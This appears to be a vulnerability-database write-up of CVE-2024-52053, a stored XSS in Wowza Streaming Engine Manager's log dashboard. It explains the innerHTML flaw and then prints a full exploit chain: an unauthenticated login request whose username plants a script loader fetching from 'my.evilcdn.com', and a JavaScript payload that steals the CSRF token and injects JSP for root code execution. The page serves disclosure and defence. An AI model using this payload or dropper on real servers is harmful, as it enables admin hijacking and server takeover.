Attacker Value
High
(1 user assessed)
Exploitability
Low
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
1

CVE-2024-52053

Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

Stored Cross-Site Scripting in the Manager component of Wowza Streaming Engine below 4.9.1 allows an unauthenticated attacker to inject client-side JavaScript into the web dashboard to automatically hijack admin accounts.

Add Assessment

1
Ratings
Technical Analysis

Wowza Streaming Engine below v4.9.1 on Windows and Linux is vulnerable to stored Cross-Site Scripting (XSS). An attacker with unauthenticated access to the Streaming Engine Manager HTTP service (port 8088) can inject JavaScript into application logs. When an administrator views the log dashboard, the injected code will automatically execute and hijack the administrator’s account. Notably, this vulnerability can be chained with CVE-2024-52052 by an unauthenticated attacker to automatically run arbitrary code on the server with high privileges when an admin views the dashboard.

Target Software

Wowza Streaming Engine is media server software used by many organizations for livestream broadcasts, video on-demand, closed captioning, and media system interoperability. The Wowza Streaming Engine Manager component is a web application, and it’s used to manage and monitor Wowza Media Server instances. At the time of publication, approximately 18,500 Wowza Streaming Engine servers are exposed to the public internet, and many of those systems also expose the Manager web application. The testing target was Wowza Streaming Engine v4.8.27+5, the latest version available at the time of research.

Analysis

When a user fails to login to Wowza Streaming Engine Manager, the log file at manager/logs/wmsmanager_access.log is updated with the failed login.

2024-07-24      12:41:58        CDT     server  -       WARN    server  REST API: Authentication-401: Accessed denied for user:doesnotexist
2024-07-24      12:41:58        CDT     server  -       INFO    server  WowzaHttpSessionListener.sessionCreated: 3250824A53666E6128430CD2451CEE96

The administrator dashboard contains a ‘Logs’ tab that displays Wowza Streaming Engine Manager log data. Client-side code on the dashboard makes a request to the /enginemanager/server/logs/getlog.jsdata API endpoint, which returns JSON containing log file data. An example of this JSON log data for the above login failure is shown below. Note that the attacker-provided username is embedded in the JSON.

"logLines":[{"data":["WARN ","<b>2024-07-30</b><br>12:41:58 (CDT)","server","<b>server</b><br>-","REST API: Authentication-401: Accessed denied for user:doesnotexist"]}]

Client-side JavaScript embedded in /enginemanager/Home.htm, which is used by the ‘Logs’ dashboard, unsafely uses innerHTML to write this attacker-provided data to the DOM. At [1], the tainted data that is sourced from the API’s JSON response is assigned to a variable. At [2], JavaScript’s innerHTML is used, unsafely concatenating the attacker’s input into the DOM.

function addTableData(tbody, tableHeadings, logLines, prepend) {
    // for each entry in the logLines list add a row to the table body
    for(var i = 0; i < logLines.length; i++) {
        var data = logLines[i].data;
        var tr ;
        if (prepend) {
        	tr = tbody.insertRow(0);
        } else {
        	tr = tbody.insertRow();
        }
        
        // for each table column, get the cell text from logline data
    	for (var j = 0; j < tableHeadings.length; j++) {
    		var text = data[j]; // [1]
        	var td = tr.insertCell(j);
        	var cellDiv = document.createElement("div");
        	td.appendChild(cellDiv);
    		cellDiv.style.wordWrap = 'break-word';
			if (text == "ERROR")
				text = "<div style='font-size: 23px'><I class='fa fa-times-circle' style='color:#b94a48'></i></div>";
			else if (text == "WARN")
				text = "<div style='font-size: 23px'><I class='fa fa-exclamation-triangle' style='color:#fbab00'></i></div>";
			else if (text == "DEBUG")
				text = "<div style='font-size: 23px'><I class='fa fa-bug' style='color:#3CA91F'></i></div>";
			else if (text == "INFO")
				text = "<div style='font-size: 23px'><I class='fa fa-exclamation-circle' style='color:#3d73a5'></i></div>";
				
    		cellDiv.innerHTML = text; // [2]
    	}
    }
}

The screenshot below depicts hitting a breakpoint in the Chrome Developer Tools when cellDiv.innerHTML is used to unsafely concatenate tainted log data into the DOM.

Screenshot depicting tainted data being concatenated

Since the Spring framework does not encode usernames that fail logins, an unauthenticated attacker can inject JavaScript in the j_username parameter with an invalid password. When an administrator views the ‘Logs’ dashboard, the JavaScript will automatically execute and hijack their browser.

Exploit

The unauthenticated JavaScript injection can be chained with CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 to exfiltrate or delete any files on the server. However, in this case, we’ll chain CVE-2024-52053 with CVE-2024-52052, an admin-level JSP injection vulnerability, for server-side remote code execution as root. With this exploit, an unauthenticated attacker can plant a JavaScript payload in the administrator dashboard, then automatically execute arbitrary code on the server when the administrator views the dashboard.

Below is wowza.js, which should be hosted on any CDN. The proof-of-concept exploit will execute JSP code to create the file /tmp/rce.

async function hitPage(e) {
    const t = `${window.location.origin}/enginemanager/static/${e}.jsp`;
    try {
        const e = await fetch(t, {
            method: "GET",
            credentials: "include"
        });
        e.ok || console.error("failed to fetch targ:", e.status)
    } catch (e) {
        return console.error("error during fetch targ:", e), null
    }
}
async function getCSRFToken() {
    const e = `${window.location.origin}/enginemanager/Home.htm`;
    try {
        const t = await fetch(e, {
            method: "GET",
            credentials: "include"
        });
        if (!t.ok) return console.error("failed to fetch CSRF:", t.status), null;
        const o = await t.text(),
            a = new DOMParser,
            s = a.parseFromString(o, "text/html").querySelector('meta[name="wowzaSecurityToken"]');
        return s ? s.getAttribute("content") : (console.error("CSRF not found in resp"), null)
    } catch (e) {
        return console.error("error fetching CSRF:", e), null
    }
}
async function createApplication(e, t) {
    const o = window.location.origin,
        a = `${o}/enginemanager/applications/new.htm`,
        s = `uiAppName=${encodeURIComponent(e)}&ignoreWarnings=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appType=LiveEdge&primaryURL=`;
    try {
        const e = await fetch(a, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
            },
            body: s,
            credentials: "include"
        });
        e.ok ? console.log("app create!") : console.error("failed app create:", e.status)
    } catch (e) {
        console.error("app error:", e)
    }
}
async function setApplicationProperties(e, t) {
    const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/main/edit_adv.htm`,
        a = `vhost=_defaultVHost_&uiAppName=${encodeURIComponent(e)}&appType=${encodeURIComponent(e)}&section=main&advSection=Custom&customList%5B0%5D.documented=false&customList%5B0%5D.enabled=true&customList%5B0%5D.type=Boolean&customList%5B0%5D.sectionName=Application&customList%5B0%5D.section=%2FRoot%2FApplication&customList%5B0%5D.name=securityPublishRequirePassword&customList%5B0%5D.removed=false&customList%5B0%5D.uiBooleanValue=true&customList%5B1%5D.documented=false&customList%5B1%5D.enabled=true&customList%5B1%5D.type=String&customList%5B1%5D.sectionName=Application&customList%5B1%5D.section=%2FRoot%2FApplication&customList%5B1%5D.name=pushPublishMapPath&customList%5B1%5D.removed=false&customList%5B1%5D.value=%24%7Bcom.wowza.wms.context.VHostConfigHome%7D%2Fmanager%2Ftemp%2Fwebapps%2Fenginemanager%2Fstatic%2F${encodeURIComponent(e)}.jsp&advPath=%2FRoot%2FApplication&wowzaSecurityToken=${encodeURIComponent(t)}`;
    try {
        const e = await fetch(o, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
            },
            body: a, credentials: "include"
        });
        e.ok ? console.log("prop set!") : console.error("prop set fail:", e.status)
    } catch (e) {
        console.error("prop set error:", e)
    }
}
async function addStreamTarget(e, t) {
    const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/streamtarget/add.htm`,
        a = `enabled=true&protocol=RTMP&destinationName=wowzastreamingengine&destApplicationRequired=true&destAppInstanceRequired=false&usernameRequired=false&passwordRequired=false&wowzaCloudDestinationType=&facebookUserName=&facebookAccessToken=&facebookDestName=&facebookDestId=&wowzaDotComFacebookUrl=https%3A%2F%2Ffb.wowza.com%2Fwsem%2Fstream_targets%2Fv2%2Fprod&wowzaFacebookAppId=670499806386098&wowzaCloudAdaptiveStreaming=true&protocolAkamai=RTMP&protocolShoutcast=shoutcast2&streamTargetName=x&sourceStreamName=x&sourceStreamNamePrefix=&shoutcastHost=&shoutcastPort=&shoutcastUsername=&shoutcastPassword=&shoutcastDestination=&shoutcastDescription=&shoutcastName=&shoutcastGenre=&shoutcastMetaFormat=&shoutcastURL=&shoutcastAIM=&shoutcastICQ=&shoutcastIRC=&_shoutcastPublic=on&destApplication=x&alibabaDestApplication=&destAppInstance=x&destHostRTMP=x&destPortRTMP=1935&destStreamNameRTMP=x&username=%3C%25%40+page+import%3D'java.io.*'+%25%3E%3C%25%40+page+import%3D'java.util.*'+%25%3E%3Ch1%3Ebbbaaaa%3C%2Fh1%3E+%3C%25+StringBuilder+filePath+%3D+new+StringBuilder()%3B+filePath.append('%2F').append('r').append('c').append('e')%3B+String+concatFile+%3D+filePath.toString()%3B+File+file+%3D+new+File(concatFile)%3B+file.createNewFile()%3B+%25%3E&password=x&alibabaDestPortRTMP=1935&alibabaDestStreamNameRTMP=&akamaiStreamIdRTMP=&_akamaiSendToBackupServer=on&destStreamNameRTP=&destHostRTP=&videoPort=&audioPort=&streamWaitTimeout=5000&timeToLiveRTP=63&srtDestHost=&srtDestPort=&srtLatency=400&srtTooLatePacketDrop=true&_srtTooLatePacketDrop=on&srtTimestampBasedDeliveryMode=true&_srtTimestampBasedDeliveryMode=on&srtSendBufferSize=12058624&srtSendBufferSizeUDP=65536&srtMaximumSegmentSize=1500&srtFlightFlagSize=25600&srtMaximumBandwidth=-1&srtInputBandwidth=0&srtOverheadBandwidth=25&srtConnectTimeout=3000&srtStreamId=&srtPeerIdleTimeout=5000&srtTimesToPrintStats=0&srtKeyLength=AES-128&srtPassPhrase=&srtKeyRefreshRate=16777216&srtKeyAnnounce=4096&destStreamNameMPEGTS=&destHostMPEGTS=&destPortMPEGTS=1935&timeToLiveMPEGTS=63&_rtpWrap=on&destStreamNameHTTP=&destHostHTTPAkamai=&playbackHost=&akamaiStreamIdHTTP=&akamaiHostId=&httpPlaylistCount=0&akamaiEventName=&adaptiveGroup=&akamaiDestinationServer=primary&cupertinoRenditionAudioVideo=true&_cupertinoRenditionAudioVideo=on&_cupertinoRenditionAudioOnly=on&sanjoseRepresentationId=&mpegdashVideoRepresentationId=&mpegdashAudioRepresentationId=&facebookTitle=&facebookDescription=&facebook360Projection=none&facebookDestType=timeline&facebookPrivacy=onlyMe&wowzaVideoRegion=us&wowzaVideoTranscoderRegion=asia_pacific_australia&wowzaVideoTranscoderHeight=720&wowzaVideoTranscoderWidth=1280&wowzaVideoApiToken=&connectionCode=&_autoStart=on&wowzaCloudABRRadio=multiple&wowzaCloudDestinationServer=primary&debugLog=false&debugLogChildren=false&sendSSL=false&secureTokenSharedSecret=&adaptiveStreaming=false&sendFCPublish=true&sendReleaseStream=true&sendStreamCloseCommands=true&removeDefaultAppInstance=true&sendOriginalTimecodes=true&originalTimecodeThreshold=0x100000&connectionFlashVersion=&queryString=&localBindAddress=&debugPackets=false&akamaiHdNetwork=true&httpPlaylistAcrossSessions=false&httpPlaylistTimeout=120000&httpFakePosts=false&httpWriterDebug=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appName=${encodeURIComponent(e)}&apiToken=`;
    try {
        const e = await fetch(o, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
            },
            body: a,
            credentials: "include"
        });
        e.ok ? console.log("stream target set!") : console.error("failed stream targ set:", e.status)
    } catch (e) {
        console.error("stream targ error:", e)
    }
}(async () => {
    const e = "PushPublishMap",
        t = await getCSRFToken();
    t && (await createApplication(e, t), await setApplicationProperties(e, t), await addStreamTarget(e, t), await hitPage(e))
})();

The XSS dropper web request, which is performed by an unauthenticated attacker, is below. This will poison the dashboard and automatically trigger server-side remote code execution when an admin views the poisoned interface.

POST /enginemanager/j_spring_security_check?wowza-page-redirect= HTTP/1.1
Host: TARGET:8088
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

wowza-page-redirect=&j_username=x"<img src=x onerror="(function() {var mal=document.createElement('script');mal.src = 'http://my.evilcdn.com/wowza.js';document.head.appendChild(mal);})();"</script> />&j_password=x&host=http://localhost:8087

After an administrator views the dashboard, remote code execution is established.

Screenshot depicting tainted data being concatenated

General Information

Vendors

  • Wowza

Products

  • Streaming Engine

Additional Info

Technical Analysis